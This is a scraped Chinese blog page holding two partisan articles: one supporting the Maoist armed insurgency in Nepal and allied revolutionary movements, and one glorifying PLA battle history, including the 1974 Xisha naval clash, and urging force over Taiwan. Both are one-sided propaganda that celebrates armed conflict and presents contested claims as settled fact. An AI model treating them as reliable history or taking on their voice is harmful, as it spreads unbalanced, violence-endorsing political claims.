　　吧，他们接受了美帝巨额的资金用来阻挡革命者前进。这些势力就像周期性的暴发户，重复着成百上千的谎言，例如“革命者践踏了人权”，“雇佣儿童当兵”。如果他们用自己的双眼去看事实真相的话，他们会很清楚的看到谁是真正的恐怖分子、谁在践踏人权。

　　当他们的主子过去七年里杀了成千上万的人民时，这些人真的在沉睡中毫不知情吗？当政府在西部屠杀正在耕种的农民时，这就算不上“恐怖主义”吗？当反动军队在全国各地屠杀政治犯，当他们把各地政治犯带到Lamahi集中屠杀时，这难道就不是“恐怖主义”了？当政府在Dil Bahadur Ramtel，在Subhadra Sapkota，在Jamuna Chaudhary，在其他地方屠杀那些仅仅对逮捕他们老师的行为表示抗议的儿童、学生时，这难道就不是“恐怖主义”了吗？这些势力中，有人声嘶力竭的呼喊革命者“践踏了人权”，而当法西斯Gyanendra－Paras集团重金悬赏毛主义几位领袖的人头时，他们却沉寂的如同小羊羔，这些毛主义的干部一直为彻底改变尼泊尔的面貌进行斗争，而在人民起来抵抗满手血腥的军队时，这些势力就看见了“人权遭受了践踏”。他们仅仅扮演着反动政权和帝国主义势力遮羞布的角色，在反对派屠杀人民的时候，他们一定要站出来赋予反动行为的合法性。由于全国人民政权的发展，帝国主义和反对派将要加班加点不遗余力的扑灭它。在这样的形势下，毛主义革命者发动世界范围内的人民战争大联合是非常重要的。正如国际革命运动组织（RIM）做的那样，我们必须将对尼泊尔革命的支持同反美侵略伊拉克以及其他国家的行动协调起来。最近由世界人民抵抗运动组织的欧洲之行活动很好的将尼泊尔人民战争介绍给成千上万的人民，为未来的联合做了巨大的贡献。时代促使毛主义革命者旅行国际主义职责，正如列宁明确指出的，“……全心全意为一国内的革命运动、革命斗争的发展而工作，从宣传上、物质上支持这个斗争，这样，也只有这样联合起来，没有一个国家例外。”（《无产阶级在这次革命中的任务》）

　　红色政权从地平线上冉冉升起

　　尼泊尔社会正处于水深火热之中，空前激烈的遭遇战在进步和反动势力之间不断发生。在尼泊尔【phpwind.net隐屏功能】的领导下，进步的武装已经在农村统一起来，并开始向腐朽的封建统治发起进攻；最落后的反动派也已经在中世纪扩张主义的原则下统一起来了。尼泊尔人民反抗的英雄壮举——人民革命彻底打碎了人剥削人、人压迫人的社会，人民解放军在根据地建立起来，红色政权向封建政权发起历史性的挑战；与此形成鲜明对比，封建政权为了保护反动派的利益，已经退化为Gyanendra集团法西斯专政，同时尼泊尔皇家军队在镇压尼泊尔人民运动的过程中也更加法西斯化。

　　历史上从未有过今天的景象，国家分为皇室和Rolpa中央根据地两极，这两极在意识形态、军队上都剑拔弩张怒目而视。从各种村社而来的农村千百万人民，包括农民和劳工、无产阶级、中产阶级、资产阶级已经转而支持新社会，反对旧的、反动的、腐朽的社会。对人民来讲已经到了进行历史性选择的时刻，或者是初生的进步的毛主义革命政权，或者是帝国主义反动中世纪封建独裁政权。

　　在尼泊尔革命运动的历史上，已经有过几次当缺乏正确的思想引导时，革命力量总是给反动派留有很大余地，使反动派在人民中还有相对较大的影响。但在尼泊尔【phpwind.net隐屏功能】的领导下，尼泊尔人民现在拥有解放军、革命根据地和农村群众基础，相形之下，反动体系在人民中完全孤立，根基腐朽，上层建筑仅能由反动军队和帝国主义援助支持，而且即便在获得帝国主义支持的情况下他们也无法反映出这些国家人民的意志。全世界无产阶级有一个粉碎反动统治、建立红色根据地的历史责任，他们和帝国主义国家人民有共同的革命利益。比利时副总理、绿党领袖Magda女士因抗议向尼泊尔输送武器而辞职，反映了帝国主义国家里政府内部的矛盾，同时也是那些国家群众反对为尼泊尔反动君主政权的利益而干涉尼泊尔内政的表现。

　　一些人总认为尼泊尔的革命不会取得胜利，他们认为尼泊尔革命的客观条件和主观条件都不成熟。要是按照他们的理论，既便革命胜利了，恐怕也没有其他革命政权支持尼泊尔，在这样的环境下，除非印度和其他大的国家发生革命，否则尼泊尔的革命只能是一场空。但是他们的逻辑跟客观现实背道而驰。

　　首先，如果一个人和革命、革命战争没有任何关系，那么他们革命的客观条件和主观条件永远不会成熟。对于毛主义革命者而言，客观条件和主观条件的成熟是紧

　　密相关的，就如【phpwind.net隐屏功能】当年亲口说过的话，当今世界革命的客观条件总体是成熟的，革命者迫切需要的是创造主观条件。自从那时起，国际政治局面发生了翻天覆地的变化，帝国主义日益锁紧套在群众头上的枷锁，帝国主义和被压迫民族、被压迫人民之间的矛盾日益加深，这种形势已经为世界革命准备了更深的条件。

　　其次，在宴会大厅里革命不会取得进展，它需要在马列毛主义科学理论的指导下进行踏实的革命实践。如果主观条件真的缺乏，尼泊尔的人民战争永远不会发展到今天的水平。事实是主观条件在毛主义革命政党领导的战争过程中不断发展成熟的，在人民战争以前尼泊尔既没有根据地也没有人民政权，那时候更不要说组建民兵组织和人民解放军了。正如【phpwind.net隐屏功能】所讲，我们在战争中学习战争。

　　第三，既便当前世界上没有革命政权，世界革命进程也要不断前进。在邻国，印度毛主义政党——印度马列共产主义党（马列毛主义人民战争）和毛主义共产主义者中心（MCC）两党领导的革命斗争在全国重要的地区取得了持续的进步，印度【phpwind.net隐屏功能】（Naxalbari－毛主义）和其他毛主义武装正在准备新的斗争前线。而且，整个南亚地区的民族解放运动正在内部慢慢酝酿成熟起来，同样的，美国和欧洲的群众反战运动也在质和量上发生了很大变化，中东反帝武装运动也日益发展，这些都预示了社会表面掩盖之下的愤怒的情绪已经达到了一个爆炸点。国际革命运动（RIM）一直都在将毛主义者的运动连接起来，给国际共产主义运动提供思想理论上的支持，它正在发展成为新的国际的雏形。南亚，CCOMPOSA正在致力于协调该地区毛主义政党、组织的斗争。这些都给尼泊尔人民的斗争提供了强有力的援助。

　　设想一下，尼泊尔毛主义者获胜将对邻国印度受压迫的农民产生多么巨大的影响，这样的胜利将宣布印度革命运动高潮的来临。全国各地不满和造反的情绪已经沸腾了，而且数百万的尼泊尔人分散在印度的城市中心，尼泊尔毗邻的是印度最富有造反精神的地区，许多在过去和当前都是革命怒火最集中的中心——北部比哈尔邦，西孟加拉邦和Jarkhand。富有革命历史意义的Naxalbari村就坐落在印度－尼泊尔边境上，这里就是60年代印度武装斗争开始的地方。

类别：无分类 | 评论(0) | 浏览(7161) | 收藏

2007年01月12日 20:35:37

中国人民解放军一支与众不同的军队！

在世界军队之林中，PLA（中国人民解放军的简称）是支十分与众不同的军队，他们的特质来源于他们与众不同的成长经历。
　　美国人在朝鲜战场上初次俘虏中国士兵时，感到非常奇怪，因为作为普通士兵和下级军官而言，他们知道的东西实在太多了。即使很多年后，美国人仍感到难以理解。
　　其实认真考究一下PLA的成长历史，并不难理解这一奇特的现象，这也正是PLA战斗力的来源。战争时代的PLA主要组成是农民，基本上是文盲或者半文盲，通常又没有经过严格的军事训练，大抵是在战争中学习战争。中国农民是最实际的了，道理不讲清楚，是很难出死力的。当时PLA的通讯设备又很落后，一打起来，经常出现师找不到团，团找不到营，营找不到连的现象，不让农民士兵们明白战争的意义，真打起来，则极其容易放羊。
　　《中国震撼世界》的作者（美国人）已经观察到PLA的这个特点，他注意到PLA每次作战前，都有一个战争动员的过程，讲清为什么要打这一仗，准备怎么打，敌人的特点是什么等等。作者还具体描述了陈毅的部队在讨伐郝鹏举时，是如何进行这样的战争动员的，可怜的郝鹏举面对这样的可怕攻击，下场当然悲惨。
　　如此的战争动员，其结果是让士兵知道将军们应该知道的东西。这样做不是没有坏处，在朝鲜白马山三十八军就吃了这个亏，一个低级军官的叛变就暴露了作战计划，结果打得不甚理想，成就了韩军的名声。但更多的是好处，一是部队一旦失去与上级联系，仍能将作战意图贯彻到底！
　　PLA有个好传统，哪里有枪声就向哪里冲锋，直到八十年代的老山作战，仍能看到PLA的历史痕迹。当年，老山主攻营的指挥人员在战斗伊始就伤亡殆尽，然而士兵们仍然坚持攻击，直到胜利。末了，老山几乎每个山头都有主攻营的战士。
　　更重要的是中国的农民士兵清不清楚战争意义，在战场上的表现是大不一样的。众所周知的、出现在朝鲜战场上的PLA，有很多是解放战士，如著名战斗英雄邱少云烈士就是其中的杰出代表，他们在PLA中的表现与在国军的表现大相径庭，国军时代一打即散的绵羊突然变成了凶悍的猛虎。
　　无它，PLA的战士明白自己为何而战，为谁而战。
　　另一个好处，就是让PLA成为了一支有智慧的军队。PLA的这种特有的战前动员方式实际让战士们充分参与了战斗计划制定过程，也充分调动了战士们的头脑。
　　凡是与PLA交过手的军队，印象最深刻的莫过于中共军的“诡计多端”。国军是自不用说的，他们留下了一句名言：“不是我们无能，而是共军太狡猾。”
　　虽然战争年代的PLA大都由文盲或者半文盲的农民组成，然而农民的智慧也是不容低估的。岗村宁次的回忆录曾记录了这样一个战例，八路军战士扮成出殡队伍，引据点日军士兵看热闹，然后突然冲入据点，消灭了所有的日军。这种土办法是任何军事院校都教不出来，只有农民的脑袋才能想出这样的怪主意，但却很有效。八路军的重火力不足，就是简单的炮楼都难以摧毁，真要强攻硬打，那得需要流很多很多的血才成
　　PLA自从成军之日起，就面临着严酷内外环境的考验。首先是没有武器。在火器时代，陈胜吴广式的斩木为矛是行不通的，马日事变，郭亮组织的十万农军难耐长沙一个团的许克祥。红军没有自己的军工企业，枪和子弹主要依赖于缴获。对于红军而言，胜仗的标准是能缴获大量的武器弹药，如果一场战斗缴不到枪支弹药或者缴获的武器抵不过消耗的，都只能算败仗了，甚至缴的武器质量不佳也不行。红四方面军在川陕根据地站不住脚，不是因为打不过川军（川军一再被打得落花流水），其中一个很重要的原因是缴不到好武器，无法补充自己。川军使用的是自产的步枪，寿命短得很，基本上到了红军手里已经不堪使用。
　　在红军时代，毛泽东最害怕的就是拚消耗，因为那是乞丐与龙王比宝。

　　事实上红军面临的战场环境是十分苛刻的，手里的子弹有限，武器有限，不能指望用火力压倒敌人，也不能与敌人在阵地上长期对峙，放几排枪后就必须冲锋，巴望用白刃战击败对手。
　　其次是缺乏训练，士兵的战斗技能是练出来，而不是喊口号可以喊出来。然而，红军和八路军的子弹是如此的珍贵，没有谁舍得在训练场上放出去。PLA十分欢迎俘虏加入，因为俘虏的战斗技能不需要费心训练。
　　按现在中国时髦的经济专家看来，这是一支土里土气的军队，手里的家伙土，身上的服装土，人也土，军官也不是海归派，整个一伙乡镇企业，应该属于关停并转之列，但他们却不断战胜了正牌的“合资企业”和国外“名牌企业”。
　　从某种意义讲，日军是PLA成长历史上最严厉的磨刀石。八路军和新四军火力压不倒日军，打白刃战也不是对手，因为日军有良好的拚刺训练，要从日军手里缴获武器弹药也是件十分困难的事儿，因为日本鬼子也是出了名的小气鬼，一旦兵败，就大肆破坏武器装备；子弹的使用也抠门的很，PLA可以说面临着前所未有的严峻考验。
　　事后多年间，总有人指责八路军、新四军不打大仗，问题是PLA有何资本与日军打大仗？要以火力拚火力，共军无论如何是拚不起的；没有后勤，连打超过一天的阻击战都勉为其难。因此，形势只能迫使PLA用智慧打仗了。
　　《华北治安战》中日酋的大本营经常痛斥一线的日军指挥官常常“眩于共军巧妙的游击战术”，不敢积极出击，“其实根本战力未超过土匪”。可以说，八路军用自己的头脑极大地弥补了装备与训练的不足。
　　与日军的较量极大提高了PLA的战斗能力，就是拚刺刀的水平也长进很大，2对2拚不过，就3对2。后来在西藏平叛期间，曾有过老八路一人单挑20多名藏叛匪，还被他挑死了十几名的战例。真难以想象这刺刀是咋拚的，要知道藏人素以剽悍著称哟。
　　PLA在严酷的生存环境中依赖于智慧不断成长壮大，而只知道拚命、不动脑筋的部队在敌强我弱的大环境中，是肯定要被淘汰的。
　　现在的中国有足够的财力可以为她的军队提供优良的装备和充足的后勤，但单苏二十七、基洛、现代是吓不住人的，用智慧打仗的军队才真正可怕。

　　海战是不折不扣的实力碰撞，PLA的海军却依然能在西沙海战中创造了奇迹。
　　西沙海战中参战的南越海军有16号护卫舰“李常杰”号标准排水量1766吨，满载排水量2800吨，最高航速18节。舰上装备1座MK30型127毫米单管火炮（38倍口径）；2座81毫米火炮及4座20毫米火炮。人员编制154人。值得一提的是舰上的MK30炮，它是西沙海战中最大口径的火炮。该炮是战后美国海军的标准高/平两用半自动舰炮，炮身回旋，俯仰和装弹均以电动液压系统控制，射速较高。

　　南越5号护卫舰“陈平重”号，该舰与“李常杰”号同级。
　　南越4号护卫舰“陈庆瑜”号，是当时南越海军主力战舰之一。因舰上电子设备较好，西沙海战中该舰充当编队指挥舰。标准排水量1590吨，满载排水量1850吨，最高航速20节。舰上装备3座无炮塔的敞开式胆管76毫米火炮（50倍口径），人员编制166人。
　　南越10号护航炮舰“怒涛”号，该舰原为美国“绝妙”级扫雷舰，标准排水量650吨，满载排水量945吨，最高航速15节，舰上装备1座76毫米；2座40毫米；4座双20毫米舰炮，人员编制90人。
　　中国方面的参战舰艇——
　　“克琅斯塔得”级猎潜艇（参战舷号271、274），标准排水量301吨，满载排水量337吨，最高航速为28节，人员编制40人。舰上装备85毫米舰炮1座，双联37毫米舰炮1座，双联14。5毫米机关炮3座；反潜武器为65式250毫米5管反潜火箭2座，64式432毫米深水炸弹发射装置2座，大型投放式深水炸弹滚架2座。
　　037型“海南”级反潜护卫艇（参战舷号281、282），标准排水量375吨，满载排水量392吨，最高航速30。5节续航力。舰上双联57毫米舰炮1座，61式双联25毫米舰2座；反潜武器为65式250毫米5管反潜火箭4座，64式432毫米深水炸弹发射装置2座，人员编制78人。
　　中国的参战舰艇无论在吨位上还是在火力配备上，均处于绝对劣势。南越海军四艘舰上共装有１２７毫米以下口径火包５０门，中方４艘舰艇（数量上倒也不吃亏，呵呵）仅装备有８５毫米口径火炮１６门，其中大部分还是双管小口径火炮，装备实力悬殊极大。中方最大的舰艇吨位还不及对方最小的舰艇，四艘合计还不及对方最大的一艘舰艇。正常情况下，南越的一艘“李常杰”号就足以把中方的四艘小艇打得稀烂。照现在的某些“专家”看来，这仗没法打，人家的家伙好啊，吨位大，火炮口径大，技术先进，自动控制，精度高；咱们手中简直是不能再差的滥货，火炮不仅口径小，还是人控的，上上去的话准白给，最好是“韬光养晦”。

　　但PLA不仅打了，而且取得了绝对的胜利。其中的要诀之一是敢战！有战斗的决心，参战的PLA没有因为双方实力对比悬殊而放弃战斗。不战斗怎么有机会赢得胜利呢？只靠外交抗议和严重关注是吓不走盘据西沙多年的南越，“灰尘不扫是不会自己走”。不战而屈人之兵的前提是已经战过，而且让对方闻风丧胆才有效，在台海指望不动刀兵就能让台独屈服无异于痴人说梦！在台海只有立足于打才能创造谈的机会，寄希望于“台湾人民”或者“美国政府”都是极其危险的，一味指望靠自己让步和经济优惠政策就能打动中山狼，不是幼稚就是别有用心！
　　西沙的胜利首先是勇气的胜利，PLA没有被敌人的船坚炮利吓住，而是以必胜的信念冲上去，在整场战斗中，无一艇退缩，更没有发生北洋海军常见的临阵脱逃现象，所有参战舰艇都有进无退，甚至打到海战扔手榴弹的地步！一心求胜，其勇猛剽悍作战风格较英国海军一向推祟的“纳尔逊风格”也不遑多让！

　　其二是善战！光有着必胜的信心是不够的，如果我们的几艘小艇摆开架势与人家堂堂正正地互轰，肯定不消几分钟就会让人家送进海底。然而PLA到底是一支用头脑打仗的军队，充分发挥小艇航速快，火炮射速??趟出一条血路来，把陆地上的拚刺刀精神搬到海上去了。实际打到最后我们的几艘小艇都不行了，弹药也快打光了，毕竟是小艇，弱点多多，如果南越海军咬紧牙关再坚持一下，胜负则未可而知。（在此衷心希望军工的兄弟们争口气，不要再让PLA用小艇烂炮去与人家的坚船利炮搏命）
　　14年后，中国海军与越南海军在南沙又打了一仗，只不过情形调了个儿，中方的海军占据吨位和火力的绝对优势；与南越海军相比，越南海军的牺牲精神有了巨大提高，他们的小艇也想靠上来打，只是这回，中方不给他们这个机会，大口径舰炮一顿猛轰，就把越南参战的海军舰只基本上都送进了海底。海战的结果，中方无一伤亡（伤亡出现在登岛的士兵上），越南的损失就海了，数百人阵亡、失踪。
　　西沙海战、对印自卫还击战、珍宝岛之战，对越自卫还击战、抗美援朝之战，PLA无论在何等艰难困苦的条件下都表现出敢于压倒一切敌人、而不为任何敌人所压倒的XX气魄！难怪姚明在登陆NBA后，著名球星巴克利评球时曾说过“他们（中国人）打仗从来就没输过”云云，中国的球迷很奇怪，光老蒋就打了多少败战。实际上，人家指的是红色中国，这就是PlA给世人的印象，这是中国宝贵的无形资产。但，我们及我们的后人能够让光荣与我们的军队永在吗？

　　1953年的冬天，在艾森豪威尔就任美国新总统没两天，在遥远的朝鲜战场，美国军队发起了一次代号为“鞭挞行动”的战术动作，美军出动了一个连，在16架飞机和15辆坦克的掩护下对志愿军一个排据点发起了攻击，共投掷了224000磅炸弹、8箱凝固汽油弹，支援的火炮、坦克、重迫击炮和机枪、步枪发射了150000发炮弹和子弹。但结果，“这场大规模的表演在哭泣声中结束了”，美军共伤亡77人（参战连队的战斗人员基本上伤亡殆尽），中国军队的损失不到65人（有疑，应该不到），中国人的阵地岿然不动。
　　这场战斗本可以无人知晓，问题是范弗里特安排观战的除了第5航空队、第1军和第7师的将军们外，还有……12名记者（以上内容参见《漫长的战斗》美约翰"托兰著）。
　　美国人对这场战斗的官方解释是对空军轰炸技术和陆军地面战术进行测验，初次阅读时，我们兄弟均接受了美国人的这一看法，但后来仔细一揣摩�

快速编辑风格
背景色：	显示颜色
banner图：
背景图片：	重复：

快速编辑风格

博主资料

欢迎您的到来！

日历

日志分类

个人统计

文章搜索

友情链接

最新评论

存　档

日志文章列表

以下为.class的代码

Copy code

网页文件任我选—站点文件下载秘籍

最新卫星节目及参数

最大网络QQ招嫖团伙落网通过QQ、博客留言卖淫

Vote!Pro eval()调用代码注入漏洞

网友悬赏10万美金，通缉“熊猫烧香”病毒作者

包含文件漏洞详解

有史以来的最强回贴~

呵呵,终于到家了~

献给元首的诗

铁道部称春运不涨价铁路需多承担近3亿元成本

大学生一定要理解的15件事情[转来的，貌似是不完整的！]

关闭共享的BAT

Copy code

写给明天！

美国隐形战机部署中国东翼分析称为回应歼10

什么是间谍?

在伟大的毛泽东思想下战斗——尼泊尔PLA（人民解放军）

Quote:

中国人民解放军一支与众不同的军队！

快速编辑风格

博主资料

欢迎您的到来！

日历

日志分类

个人统计

文章搜索

友情链接

最新评论

存 档

日志文章列表

Quote:

存　档